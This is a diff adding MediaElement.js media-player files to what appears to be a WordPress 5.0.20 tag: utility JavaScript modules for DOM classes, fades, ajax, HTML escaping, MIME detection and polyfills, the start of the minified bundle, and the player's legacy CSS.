+	addClassMethod = function addClassMethod(el, className) {
+		return el.classList.add(className);
+	};
+	removeClassMethod = function removeClassMethod(el, className) {
+		return el.classList.remove(className);
+	};
+} else {
+	hasClassMethod = function hasClassMethod(el, className) {
+		return new RegExp('\\b' + className + '\\b').test(el.className);
+	};
+	addClassMethod = function addClassMethod(el, className) {
+		if (!hasClass(el, className)) {
+			el.className += ' ' + className;
+		}
+	};
+	removeClassMethod = function removeClassMethod(el, className) {
+		el.className = el.className.replace(new RegExp('\\b' + className + '\\b', 'g'), '');
+	};
+}
+
+var hasClass = exports.hasClass = hasClassMethod;
+var addClass = exports.addClass = addClassMethod;
+var removeClass = exports.removeClass = removeClassMethod;
+
+function toggleClass(el, className) {
+	hasClass(el, className) ? removeClass(el, className) : addClass(el, className);
+}
+
+function fadeOut(el) {
+	var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400;
+	var callback = arguments[2];
+
+	if (!el.style.opacity) {
+		el.style.opacity = 1;
+	}
+
+	var start = null;
+	_window2.default.requestAnimationFrame(function animate(timestamp) {
+		start = start || timestamp;
+		var progress = timestamp - start;
+		var opacity = parseFloat(1 - progress / duration, 2);
+		el.style.opacity = opacity < 0 ? 0 : opacity;
+		if (progress > duration) {
+			if (callback && typeof callback === 'function') {
+				callback();
+			}
+		} else {
+			_window2.default.requestAnimationFrame(animate);
+		}
+	});
+}
+
+function fadeIn(el) {
+	var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400;
+	var callback = arguments[2];
+
+	if (!el.style.opacity) {
+		el.style.opacity = 0;
+	}
+
+	var start = null;
+	_window2.default.requestAnimationFrame(function animate(timestamp) {
+		start = start || timestamp;
+		var progress = timestamp - start;
+		var opacity = parseFloat(progress / duration, 2);
+		el.style.opacity = opacity > 1 ? 1 : opacity;
+		if (progress > duration) {
+			if (callback && typeof callback === 'function') {
+				callback();
+			}
+		} else {
+			_window2.default.requestAnimationFrame(animate);
+		}
+	});
+}
+
+function siblings(el, filter) {
+	var siblings = [];
+	el = el.parentNode.firstChild;
+	do {
+		if (!filter || filter(el)) {
+			siblings.push(el);
+		}
+	} while (el = el.nextSibling);
+	return siblings;
+}
+
+function visible(elem) {
+	if (elem.getClientRects !== undefined && elem.getClientRects === 'function') {
+		return !!(elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length);
+	}
+	return !!(elem.offsetWidth || elem.offsetHeight);
+}
+
+function ajax(url, dataType, success, error) {
+	var xhr = _window2.default.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP');
+
+	var type = 'application/x-www-form-urlencoded; charset=UTF-8',
+	    completed = false,
+	    accept = '*/'.concat('*');
+
+	switch (dataType) {
+		case 'text':
+			type = 'text/plain';
+			break;
+		case 'json':
+			type = 'application/json, text/javascript';
+			break;
+		case 'html':
+			type = 'text/html';
+			break;
+		case 'xml':
+			type = 'application/xml, text/xml';
+			break;
+	}
+
+	if (type !== 'application/x-www-form-urlencoded') {
+		accept = type + ', */*; q=0.01';
+	}
+
+	if (xhr) {
+		xhr.open('GET', url, true);
+		xhr.setRequestHeader('Accept', accept);
+		xhr.onreadystatechange = function () {
+			if (completed) {
+				return;
+			}
+
+			if (xhr.readyState === 4) {
+				if (xhr.status === 200) {
+					completed = true;
+					var data = void 0;
+					switch (dataType) {
+						case 'json':
+							data = JSON.parse(xhr.responseText);
+							break;
+						case 'xml':
+							data = xhr.responseXML;
+							break;
+						default:
+							data = xhr.responseText;
+							break;
+					}
+					success(data);
+				} else if (typeof error === 'function') {
+					error(xhr.status);
+				}
+			}
+		};
+
+		xhr.send();
+	}
+}
+
+_mejs2.default.Utils = _mejs2.default.Utils || {};
+_mejs2.default.Utils.offset = offset;
+_mejs2.default.Utils.hasClass = hasClass;
+_mejs2.default.Utils.addClass = addClass;
+_mejs2.default.Utils.removeClass = removeClass;
+_mejs2.default.Utils.toggleClass = toggleClass;
+_mejs2.default.Utils.fadeIn = fadeIn;
+_mejs2.default.Utils.fadeOut = fadeOut;
+_mejs2.default.Utils.siblings = siblings;
+_mejs2.default.Utils.visible = visible;
+_mejs2.default.Utils.ajax = ajax;
+_mejs2.default.Utils.loadScript = loadScript;
+
+},{"2":2,"3":3,"7":7}],18:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.escapeHTML = escapeHTML;
+exports.debounce = debounce;
+exports.isObjectEmpty = isObjectEmpty;
+exports.splitEvents = splitEvents;
+exports.createEvent = createEvent;
+exports.isNodeAfter = isNodeAfter;
+exports.isString = isString;
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function escapeHTML(input) {
+
+	if (typeof input !== 'string') {
+		throw new Error('Argument passed must be a string');
+	}
+
+	var map = {
+		'&': '&amp;',
+		'<': '&lt;',
+		'>': '&gt;',
+		'"': '&quot;'
+	};
+
+	return input.replace(/[&<>"]/g, function (c) {
+		return map[c];
+	});
+}
+
+function debounce(func, wait) {
+	var _this = this,
+	    _arguments = arguments;
+
+	var immediate = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
+
+
+	if (typeof func !== 'function') {
+		throw new Error('First argument must be a function');
+	}
+
+	if (typeof wait !== 'number') {
+		throw new Error('Second argument must be a numeric value');
+	}
+
+	var timeout = void 0;
+	return function () {
+		var context = _this,
+		    args = _arguments;
+		var later = function later() {
+			timeout = null;
+			if (!immediate) {
+				func.apply(context, args);
+			}
+		};
+		var callNow = immediate && !timeout;
+		clearTimeout(timeout);
+		timeout = setTimeout(later, wait);
+
+		if (callNow) {
+			func.apply(context, args);
+		}
+	};
+}
+
+function isObjectEmpty(instance) {
+	return Object.getOwnPropertyNames(instance).length <= 0;
+}
+
+function splitEvents(events, id) {
+	var rwindow = /^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/;
+
+	var ret = { d: [], w: [] };
+	(events || '').split(' ').forEach(function (v) {
+		var eventName = '' + v + (id ? '.' + id : '');
+
+		if (eventName.startsWith('.')) {
+			ret.d.push(eventName);
+			ret.w.push(eventName);
+		} else {
+			ret[rwindow.test(v) ? 'w' : 'd'].push(eventName);
+		}
+	});
+
+	ret.d = ret.d.join(' ');
+	ret.w = ret.w.join(' ');
+	return ret;
+}
+
+function createEvent(eventName, target) {
+
+	if (typeof eventName !== 'string') {
+		throw new Error('Event name must be a string');
+	}
+
+	var eventFrags = eventName.match(/([a-z]+\.([a-z]+))/i),
+	    detail = {
+		target: target
+	};
+
+	if (eventFrags !== null) {
+		eventName = eventFrags[1];
+		detail.namespace = eventFrags[2];
+	}
+
+	return new window.CustomEvent(eventName, {
+		detail: detail
+	});
+}
+
+function isNodeAfter(sourceNode, targetNode) {
+
+	return !!(sourceNode && targetNode && sourceNode.compareDocumentPosition(targetNode) & 2);
+}
+
+function isString(value) {
+	return typeof value === 'string';
+}
+
+_mejs2.default.Utils = _mejs2.default.Utils || {};
+_mejs2.default.Utils.escapeHTML = escapeHTML;
+_mejs2.default.Utils.debounce = debounce;
+_mejs2.default.Utils.isObjectEmpty = isObjectEmpty;
+_mejs2.default.Utils.splitEvents = splitEvents;
+_mejs2.default.Utils.createEvent = createEvent;
+_mejs2.default.Utils.isNodeAfter = isNodeAfter;
+_mejs2.default.Utils.isString = isString;
+
+},{"7":7}],19:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.typeChecks = undefined;
+exports.absolutizeUrl = absolutizeUrl;
+exports.formatType = formatType;
+exports.getMimeFromType = getMimeFromType;
+exports.getTypeFromFile = getTypeFromFile;
+exports.getExtension = getExtension;
+exports.normalizeExtension = normalizeExtension;
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _general = _dereq_(18);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var typeChecks = exports.typeChecks = [];
+
+function absolutizeUrl(url) {
+
+	if (typeof url !== 'string') {
+		throw new Error('`url` argument must be a string');
+	}
+
+	var el = document.createElement('div');
+	el.innerHTML = '<a href="' + (0, _general.escapeHTML)(url) + '">x</a>';
+	return el.firstChild.href;
+}
+
+function formatType(url) {
+	var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';
+
+	return url && !type ? getTypeFromFile(url) : type;
+}
+
+function getMimeFromType(type) {
+
+	if (typeof type !== 'string') {
+		throw new Error('`type` argument must be a string');
+	}
+
+	return type && type.indexOf(';') > -1 ? type.substr(0, type.indexOf(';')) : type;
+}
+
+function getTypeFromFile(url) {
+
+	if (typeof url !== 'string') {
+		throw new Error('`url` argument must be a string');
+	}
+
+	for (var i = 0, total = typeChecks.length; i < total; i++) {
+		var type = typeChecks[i](url);
+
+		if (type) {
+			return type;
+		}
+	}
+
+	var ext = getExtension(url),
+	    normalizedExt = normalizeExtension(ext);
+
+	var mime = 'video/mp4';
+
+	if (normalizedExt) {
+		if (~['mp4', 'm4v', 'ogg', 'ogv', 'webm', 'flv', 'mpeg', 'mov'].indexOf(normalizedExt)) {
+			mime = 'video/' + normalizedExt;
+		} else if (~['mp3', 'oga', 'wav', 'mid', 'midi'].indexOf(normalizedExt)) {
+			mime = 'audio/' + normalizedExt;
+		}
+	}
+
+	return mime;
+}
+
+function getExtension(url) {
+
+	if (typeof url !== 'string') {
+		throw new Error('`url` argument must be a string');
+	}
+
+	var baseUrl = url.split('?')[0],
+	    baseName = baseUrl.split('\\').pop().split('/').pop();
+	return ~baseName.indexOf('.') ? baseName.substring(baseName.lastIndexOf('.') + 1) : '';
+}
+
+function normalizeExtension(extension) {
+
+	if (typeof extension !== 'string') {
+		throw new Error('`extension` argument must be a string');
+	}
+
+	switch (extension) {
+		case 'mp4':
+		case 'm4v':
+			return 'mp4';
+		case 'webm':
+		case 'webma':
+		case 'webmv':
+			return 'webm';
+		case 'ogg':
+		case 'oga':
+		case 'ogv':
+			return 'ogg';
+		default:
+			return extension;
+	}
+}
+
+_mejs2.default.Utils = _mejs2.default.Utils || {};
+_mejs2.default.Utils.typeChecks = typeChecks;
+_mejs2.default.Utils.absolutizeUrl = absolutizeUrl;
+_mejs2.default.Utils.formatType = formatType;
+_mejs2.default.Utils.getMimeFromType = getMimeFromType;
+_mejs2.default.Utils.getTypeFromFile = getTypeFromFile;
+_mejs2.default.Utils.getExtension = getExtension;
+_mejs2.default.Utils.normalizeExtension = normalizeExtension;
+
+},{"18":18,"7":7}],20:[function(_dereq_,module,exports){
+'use strict';
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _promisePolyfill = _dereq_(4);
+
+var _promisePolyfill2 = _interopRequireDefault(_promisePolyfill);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+(function (arr) {
+	arr.forEach(function (item) {
+		if (item.hasOwnProperty('remove')) {
+			return;
+		}
+		Object.defineProperty(item, 'remove', {
+			configurable: true,
+			enumerable: true,
+			writable: true,
+			value: function remove() {
+				this.parentNode.removeChild(this);
+			}
+		});
+	});
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+
+(function () {
+
+	if (typeof window.CustomEvent === 'function') {
+		return false;
+	}
+
+	function CustomEvent(event, params) {
+		params = params || { bubbles: false, cancelable: false, detail: undefined };
+		var evt = _document2.default.createEvent('CustomEvent');
+		evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail);
+		return evt;
+	}
+
+	CustomEvent.prototype = window.Event.prototype;
+	window.CustomEvent = CustomEvent;
+})();
+
+if (typeof Object.assign !== 'function') {
+	Object.assign = function (target) {
+
+		if (target === null || target === undefined) {
+			throw new TypeError('Cannot convert undefined or null to object');
+		}
+
+		var to = Object(target);
+
+		for (var index = 1, total = arguments.length; index < total; index++) {
+			var nextSource = arguments[index];
+
+			if (nextSource !== null) {
+				for (var nextKey in nextSource) {
+					if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
+						to[nextKey] = nextSource[nextKey];
+					}
+				}
+			}
+		}
+		return to;
+	};
+}
+
+if (!String.prototype.startsWith) {
+	String.prototype.startsWith = function (searchString, position) {
+		position = position || 0;
+		return this.substr(position, searchString.length) === searchString;
+	};
+}
+
+if (!Element.prototype.matches) {
+	Element.prototype.matches = Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector || function (s) {
+		var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+		    i = matches.length - 1;
+		while (--i >= 0 && matches.item(i) !== this) {}
+		return i > -1;
+	};
+}
+
+if (window.Element && !Element.prototype.closest) {
+	Element.prototype.closest = function (s) {
+		var matches = (this.document || this.ownerDocument).querySelectorAll(s),
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+		do {
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+			while (--i >= 0 && matches.item(i) !== el) {}
+		} while (i < 0 && (el = el.parentElement));
+		return el;
+	};
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+	var lastTime = 0;
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+	if (!window.requestAnimationFrame) window.requestAnimationFrame = function (callback) {
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+		var id = window.setTimeout(function () {
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+	if (constructor && constructor.prototype && constructor.prototype.children === null) {
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+			get: function get() {
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+				    nodes = this.childNodes,
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+				while (node = nodes[i++]) {
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+				return children;
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Index: /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement.min.js	(revision 56912)
@@ -0,0 +1,12 @@
+/*!
+ * MediaElement.js
+ * http://www.mediaelementjs.com/
+ *
+ * Wrapper that mimics native HTML5 MediaElement (audio and video)
+ * using a variety of technologies (pure JavaScript, Flash, iframe)
+ *
+ * Copyright 2010-2017, John Dyer (http://j.hn/)
+ * License: MIT
+ *
+ */
+!function e(t,n,r){function i(a,l){if(!n[a]){if(!t[a]){var s="function"==typeof require&&require;if(!l&&s)return s(a,!0);if(o)return o(a,!0);var d=new Error("Cannot find module '"+a+"'");throw d.code="MODULE_NOT_FOUND",d}var u=n[a]={exports:{}};t[a][0].call(u.exports,function(e){var n=t[a][1][e];return i(n||e)},u,u.exports,e,t,n,r)}return n[a].exports}for(var o="function"==typeof require&&require,a=0;a<r.length;a++)i(r[a]);return i}({1:[function(e,t,n){},{}],2:[function(e,t,n){(function(n){var r,i=void 0!==n?n:"undefined"!=typeof window?window:{},o=e(1);"undefined"!=typeof document?r=document:(r=i["__GLOBAL_DOCUMENT_CACHE@4"])||(r=i["__GLOBAL_DOCUMENT_CACHE@4"]=o),t.exports=r}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{1:1}],3:[function(e,t,n){(function(e){var n;n="undefined"!=typeof window?window:void 0!==e?e:"undefined"!=typeof self?self:{},t.exports=n}).call(this,"undefined"!=typeof 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Index: /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer-legacy.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer-legacy.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer-legacy.css	(revision 56912)
@@ -0,0 +1,772 @@
+/* Accessibility: hide screen reader texts (and prefer "top" for RTL languages).
+Reference: http://blog.rrwd.nl/2015/04/04/the-screen-reader-text-class-why-and-how/ */
+.mejs-offscreen {
+    border: 0;
+    clip: rect( 1px, 1px, 1px, 1px );
+    -webkit-clip-path: inset( 50% );
+            clip-path: inset( 50% );
+    height: 1px;
+    margin: -1px;
+    overflow: hidden;
+    padding: 0;
+    position: absolute;
+    width: 1px;
+    word-wrap: normal;
+}
+
+.mejs-container {
+    background: #000;
+    box-sizing: border-box;
+    font-family: 'Helvetica', Arial, serif;
+    position: relative;
+    text-align: left;
+    text-indent: 0;
+    vertical-align: top;
+}
+
+.mejs-container * {
+    box-sizing: border-box;
+}
+
+/* Hide native play button and control bar from iOS to favor plugin button */
+.mejs-container video::-webkit-media-controls,
+.mejs-container video::-webkit-media-controls-panel,
+.mejs-container video::-webkit-media-controls-panel-container,
+.mejs-container video::-webkit-media-controls-start-playback-button {
+    -webkit-appearance: none;
+    display: none !important;
+}
+
+.mejs-fill-container,
+.mejs-fill-container .mejs-container {
+    height: 100%;
+    width: 100%;
+}
+
+.mejs-fill-container {
+    background: transparent;
+    margin: 0 auto;
+    overflow: hidden;
+    position: relative;
+}
+
+.mejs-container:focus {
+    outline: none;
+}
+
+.mejs-iframe-overlay {
+    height: 100%;
+    position: absolute;
+    width: 100%;
+}
+
+.mejs-embed,
+.mejs-embed body {
+    background: #000;
+    height: 100%;
+    margin: 0;
+    overflow: hidden;
+    padding: 0;
+    width: 100%;
+}
+
+.mejs-fullscreen {
+    overflow: hidden !important;
+}
+
+.mejs-container-fullscreen {
+    bottom: 0;
+    left: 0;
+    overflow: hidden;
+    position: fixed;
+    right: 0;
+    top: 0;
+    z-index: 1000;
+}
+
+.mejs-container-fullscreen .mejs-mediaelement,
+.mejs-container-fullscreen video {
+    height: 100% !important;
+    width: 100% !important;
+}
+
+/* Start: LAYERS */
+.mejs-background {
+    left: 0;
+    position: absolute;
+    top: 0;
+}
+
+.mejs-mediaelement {
+    height: 100%;
+    left: 0;
+    position: absolute;
+    top: 0;
+    width: 100%;
+    z-index: 0;
+}
+
+.mejs-poster {
+    background-position: 50% 50%;
+    background-repeat: no-repeat;
+    background-size: cover;
+    left: 0;
+    position: absolute;
+    top: 0;
+    z-index: 1;
+}
+
+:root .mejs-poster-img {
+    display: none;
+}
+
+.mejs-poster-img {
+    border: 0;
+    padding: 0;
+}
+
+.mejs-overlay {
+    -webkit-box-align: center;
+    -webkit-align-items: center;
+        -ms-flex-align: center;
+            align-items: center;
+    display: -webkit-box;
+    display: -webkit-flex;
+    display: -ms-flexbox;
+    display: flex;
+    -webkit-box-pack: center;
+    -webkit-justify-content: center;
+        -ms-flex-pack: center;
+            justify-content: center;
+    left: 0;
+    position: absolute;
+    top: 0;
+}
+
+.mejs-layer {
+    z-index: 1;
+}
+
+.mejs-overlay-play {
+    cursor: pointer;
+}
+
+.mejs-overlay-button {
+    background: url('mejs-controls.svg') no-repeat;
+    background-position: 0 -39px;
+    height: 80px;
+    width: 80px;
+}
+
+.mejs-overlay:hover > .mejs-overlay-button {
+    background-position: -80px -39px;
+}
+
+.mejs-overlay-loading {
+    height: 80px;
+    width: 80px;
+}
+
+.mejs-overlay-loading-bg-img {
+    -webkit-animation: mejs-loading-spinner 1s linear infinite;
+            animation: mejs-loading-spinner 1s linear infinite;
+    background: transparent url('mejs-controls.svg') -160px -40px no-repeat;
+    display: block;
+    height: 80px;
+    width: 80px;
+    z-index: 1;
+}
+
+@-webkit-keyframes mejs-loading-spinner {
+    100% {
+        -webkit-transform: rotate(360deg);
+                transform: rotate(360deg);
+    }
+}
+
+@keyframes mejs-loading-spinner {
+    100% {
+        -webkit-transform: rotate(360deg);
+                transform: rotate(360deg);
+    }
+}
+
+/* End: LAYERS */
+
+/* Start: CONTROL BAR */
+.mejs-controls {
+    bottom: 0;
+    display: -webkit-box;
+    display: -webkit-flex;
+    display: -ms-flexbox;
+    display: flex;
+    height: 40px;
+    left: 0;
+    list-style-type: none;
+    margin: 0;
+    padding: 0 10px;
+    position: absolute;
+    width: 100%;
+    z-index: 3;
+}
+
+.mejs-controls:not([style*='display: none']) {
+    background: rgba(255, 0, 0, 0.7);
+    background: -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.35));
+    background: linear-gradient(transparent, rgba(0, 0, 0, 0.35));
+}
+
+.mejs-button,
+.mejs-time,
+.mejs-time-rail {
+    font-size: 10px;
+    height: 40px;
+    line-height: 10px;
+    margin: 0;
+    width: 32px;
+}
+
+.mejs-button > button {
+    background: transparent url('mejs-controls.svg');
+    border: 0;
+    cursor: pointer;
+    display: block;
+    font-size: 0;
+    height: 20px;
+    line-height: 0;
+    margin: 10px 6px;
+    overflow: hidden;
+    padding: 0;
+    position: absolute;
+    text-decoration: none;
+    width: 20px;
+}
+
+/* :focus for accessibility */
+.mejs-button > button:focus {
+    outline: dotted 1px #999;
+}
+
+.mejs-container-keyboard-inactive a,
+.mejs-container-keyboard-inactive a:focus,
+.mejs-container-keyboard-inactive button,
+.mejs-container-keyboard-inactive button:focus,
+.mejs-container-keyboard-inactive [role=slider],
+.mejs-container-keyboard-inactive [role=slider]:focus {
+    outline: 0;
+}
+
+/* End: CONTROL BAR */
+
+/* Start: Time (Current / Duration) */
+.mejs-time {
+    box-sizing: content-box;
+    color: #fff;
+    font-size: 11px;
+    font-weight: bold;
+    height: 24px;
+    overflow: hidden;
+    padding: 16px 6px 0;
+    text-align: center;
+    width: auto;
+}
+
+/* End: Time (Current / Duration) */
+
+/* Start: Play/Pause/Stop */
+.mejs-play > button {
+    background-position: 0 0;
+}
+
+.mejs-pause > button {
+    background-position: -20px 0;
+}
+
+.mejs-replay > button {
+    background-position: -160px 0;
+}
+
+/* End: Play/Pause/Stop */
+
+/* Start: Progress Bar */
+.mejs-time-rail {
+    direction: ltr;
+    -webkit-box-flex: 1;
+    -webkit-flex-grow: 1;
+        -ms-flex-positive: 1;
+            flex-grow: 1;
+    height: 40px;
+    margin: 0 10px;
+    padding-top: 10px;
+    position: relative;
+}
+
+.mejs-time-total,
+.mejs-time-buffering,
+.mejs-time-loaded,
+.mejs-time-current,
+.mejs-time-float,
+.mejs-time-hovered,
+.mejs-time-float-current,
+.mejs-time-float-corner,
+.mejs-time-marker {
+    border-radius: 2px;
+    cursor: pointer;
+    display: block;
+    height: 10px;
+    position: absolute;
+}
+
+.mejs-time-total {
+    background: rgba(255, 255, 255, 0.3);
+    margin: 5px 0 0;
+    width: 100%;
+}
+
+.mejs-time-buffering {
+    -webkit-animation: buffering-stripes 2s linear infinite;
+            animation: buffering-stripes 2s linear infinite;
+    background: -webkit-linear-gradient(135deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent);
+    background: linear-gradient(-45deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent);
+    background-size: 15px 15px;
+    width: 100%;
+}
+
+@-webkit-keyframes buffering-stripes {
+    from {
+        background-position: 0 0;
+    }
+    to {
+        background-position: 30px 0;
+    }
+}
+
+@keyframes buffering-stripes {
+    from {
+        background-position: 0 0;
+    }
+    to {
+        background-position: 30px 0;
+    }
+}
+
+.mejs-time-loaded {
+    background: rgba(255, 255, 255, 0.3);
+}
+
+.mejs-time-current,
+.mejs-time-handle-content {
+    background: rgba(255, 255, 255, 0.9);
+}
+
+.mejs-time-hovered {
+    background: rgba(255, 255, 255, 0.5);
+    z-index: 10;
+}
+
+.mejs-time-hovered.negative {
+    background: rgba(0, 0, 0, 0.2);
+}
+
+.mejs-time-current,
+.mejs-time-buffering,
+.mejs-time-loaded,
+.mejs-time-hovered {
+    left: 0;
+    -webkit-transform: scaleX(0);
+        -ms-transform: scaleX(0);
+            transform: scaleX(0);
+    -webkit-transform-origin: 0 0;
+        -ms-transform-origin: 0 0;
+            transform-origin: 0 0;
+    -webkit-transition: 0.15s ease-in all;
+    transition: 0.15s ease-in all;
+    width: 100%;
+}
+
+.mejs-time-buffering {
+    -webkit-transform: scaleX(1);
+        -ms-transform: scaleX(1);
+            transform: scaleX(1);
+}
+
+.mejs-time-hovered {
+    -webkit-transition: height 0.1s cubic-bezier(0.44, 0, 1, 1);
+    transition: height 0.1s cubic-bezier(0.44, 0, 1, 1);
+}
+
+.mejs-time-hovered.no-hover {
+    -webkit-transform: scaleX(0) !important;
+        -ms-transform: scaleX(0) !important;
+            transform: scaleX(0) !important;
+}
+
+.mejs-time-handle,
+.mejs-time-handle-content {
+    border: 4px solid transparent;
+    cursor: pointer;
+    left: 0;
+    position: absolute;
+    -webkit-transform: translateX(0);
+        -ms-transform: translateX(0);
+            transform: translateX(0);
+    z-index: 11;
+}
+
+.mejs-time-handle-content {
+    border: 4px solid rgba(255, 255, 255, 0.9);
+    border-radius: 50%;
+    height: 10px;
+    left: -7px;
+    top: -4px;
+    -webkit-transform: scale(0);
+        -ms-transform: scale(0);
+            transform: scale(0);
+    width: 10px;
+}
+
+.mejs-time-rail:hover .mejs-time-handle-content,
+.mejs-time-rail .mejs-time-handle-content:focus,
+.mejs-time-rail .mejs-time-handle-content:active {
+    -webkit-transform: scale(1);
+        -ms-transform: scale(1);
+            transform: scale(1);
+}
+
+.mejs-time-float {
+    background: #eee;
+    border: solid 1px #333;
+    bottom: 100%;
+    color: #111;
+    display: none;
+    height: 17px;
+    margin-bottom: 9px;
+    position: absolute;
+    text-align: center;
+    -webkit-transform: translateX(-50%);
+        -ms-transform: translateX(-50%);
+            transform: translateX(-50%);
+    width: 36px;
+}
+
+.mejs-time-float-current {
+    display: block;
+    left: 0;
+    margin: 2px;
+    text-align: center;
+    width: 30px;
+}
+
+.mejs-time-float-corner {
+    border: solid 5px #eee;
+    border-color: #eee transparent transparent;
+    border-radius: 0;
+    display: block;
+    height: 0;
+    left: 50%;
+    line-height: 0;
+    position: absolute;
+    top: 100%;
+    -webkit-transform: translateX(-50%);
+        -ms-transform: translateX(-50%);
+            transform: translateX(-50%);
+    width: 0;
+}
+
+.mejs-long-video .mejs-time-float {
+    margin-left: -23px;
+    width: 64px;
+}
+
+.mejs-long-video .mejs-time-float-current {
+    width: 60px;
+}
+
+.mejs-broadcast {
+    color: #fff;
+    height: 10px;
+    position: absolute;
+    top: 15px;
+    width: 100%;
+}
+
+/* End: Progress Bar */
+
+/* Start: Fullscreen */
+.mejs-fullscreen-button > button {
+    background-position: -80px 0;
+}
+
+.mejs-unfullscreen > button {
+    background-position: -100px 0;
+}
+
+/* End: Fullscreen */
+
+/* Start: Mute/Volume */
+.mejs-mute > button {
+    background-position: -60px 0;
+}
+
+.mejs-unmute > button {
+    background-position: -40px 0;
+}
+
+.mejs-volume-button {
+    position: relative;
+}
+
+.mejs-volume-button > .mejs-volume-slider {
+    -webkit-backface-visibility: hidden;
+    background: rgba(50, 50, 50, 0.7);
+    border-radius: 0;
+    bottom: 100%;
+    display: none;
+    height: 115px;
+    left: 50%;
+    margin: 0;
+    position: absolute;
+    -webkit-transform: translateX(-50%);
+        -ms-transform: translateX(-50%);
+            transform: translateX(-50%);
+    width: 25px;
+    z-index: 1;
+}
+
+.mejs-volume-button:hover {
+    border-radius: 0 0 4px 4px;
+}
+
+.mejs-volume-total {
+    background: rgba(255, 255, 255, 0.5);
+    height: 100px;
+    left: 50%;
+    margin: 0;
+    position: absolute;
+    top: 8px;
+    -webkit-transform: translateX(-50%);
+        -ms-transform: translateX(-50%);
+            transform: translateX(-50%);
+    width: 2px;
+}
+
+.mejs-volume-current {
+    background: rgba(255, 255, 255, 0.9);
+    left: 0;
+    margin: 0;
+    position: absolute;
+    width: 100%;
+}
+
+.mejs-volume-handle {
+    background: rgba(255, 255, 255, 0.9);
+    border-radius: 1px;
+    cursor: ns-resize;
+    height: 6px;
+    left: 50%;
+    position: absolute;
+    -webkit-transform: translateX(-50%);
+        -ms-transform: translateX(-50%);
+            transform: translateX(-50%);
+    width: 16px;
+}
+
+.mejs-horizontal-volume-slider {
+    display: block;
+    height: 36px;
+    position: relative;
+    vertical-align: middle;
+    width: 56px;
+}
+
+.mejs-horizontal-volume-total {
+    background: rgba(50, 50, 50, 0.8);
+    border-radius: 2px;
+    font-size: 1px;
+    height: 8px;
+    left: 0;
+    margin: 0;
+    padding: 0;
+    position: absolute;
+    top: 16px;
+    width: 50px;
+}
+
+.mejs-horizontal-volume-current {
+    background: rgba(255, 255, 255, 0.8);
+    border-radius: 2px;
+    font-size: 1px;
+    height: 100%;
+    left: 0;
+    margin: 0;
+    padding: 0;
+    position: absolute;
+    top: 0;
+    width: 100%;
+}
+
+.mejs-horizontal-volume-handle {
+    display: none;
+}
+
+/* End: Mute/Volume */
+
+/* Start: Track (Captions and Chapters) */
+.mejs-captions-button,
+.mejs-chapters-button {
+    position: relative;
+}
+
+.mejs-captions-button > button {
+    background-position: -140px 0;
+}
+
+.mejs-chapters-button > button {
+    background-position: -180px 0;
+}
+
+.mejs-captions-button > .mejs-captions-selector,
+.mejs-chapters-button > .mejs-chapters-selector {
+    background: rgba(50, 50, 50, 0.7);
+    border: solid 1px transparent;
+    border-radius: 0;
+    bottom: 100%;
+    margin-right: -43px;
+    overflow: hidden;
+    padding: 0;
+    position: absolute;
+    right: 50%;
+    visibility: visible;
+    width: 86px;
+}
+
+.mejs-chapters-button > .mejs-chapters-selector {
+    margin-right: -55px;
+    width: 110px;
+}
+
+.mejs-captions-selector-list,
+.mejs-chapters-selector-list {
+    list-style-type: none !important;
+    margin: 0;
+    overflow: hidden;
+    padding: 0;
+}
+
+.mejs-captions-selector-list-item,
+.mejs-chapters-selector-list-item {
+    color: #fff;
+    cursor: pointer;
+    display: block;
+    list-style-type: none !important;
+    margin: 0 0 6px;
+    overflow: hidden;
+    padding: 0 10px;
+}
+
+.mejs-captions-selector-list-item:hover,
+.mejs-chapters-selector-list-item:hover {
+    background-color: rgb(200, 200, 200) !important;
+    background-color: rgba(255, 255, 255, 0.4) !important;
+}
+
+.mejs-captions-selector-input,
+.mejs-chapters-selector-input {
+    clear: both;
+    float: left;
+    left: -1000px;
+    margin: 3px 3px 0 5px;
+    position: absolute;
+}
+
+.mejs-captions-selector-label,
+.mejs-chapters-selector-label {
+    cursor: pointer;
+    float: left;
